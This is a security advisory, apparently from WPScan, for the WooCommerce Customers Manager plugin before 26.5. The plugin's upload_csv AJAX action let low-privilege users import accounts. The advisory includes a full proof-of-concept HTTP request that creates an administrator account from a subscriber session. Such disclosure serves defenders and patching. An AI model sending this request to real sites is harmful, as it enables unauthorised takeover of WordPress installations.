Woocommerce Customers Manager < 26.5 – Arbitrary Account Creation/Update by Low Privilege Users

Description

The upload_csv AJAX action, available to authenticated users, did not have proper capability checks. allowing any authenticated users, such as a subscriber, to call it and import arbitrary users. They could either update their own account, to make themselves administrator, or create new administrator accounts.

Note (WPScanTeam): Even though capability check has been added in v26.5, there is still no CSRF, which could allow attacker to perform the same attack by tricking a logged infuser with the manage_woocommerce capability to open a malicious link/page. A separate issue has been created for it.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------11119326056266279563140446786
Content-Length: 683
Connection: close
Cookie: [low role account, such as subscriber]

-----------------------------11119326056266279563140446786
Content-Disposition: form-data; name="action"

upload_csv
-----------------------------11119326056266279563140446786
Content-Disposition: form-data; name="send-notification-email"

no
-----------------------------11119326056266279563140446786
Content-Disposition: form-data; name="csv"

"ID","Password","Role","Login","Email"<#>"","Passw0rd","administrator","admin-attacker","[email protected]"
-----------------------------11119326056266279563140446786--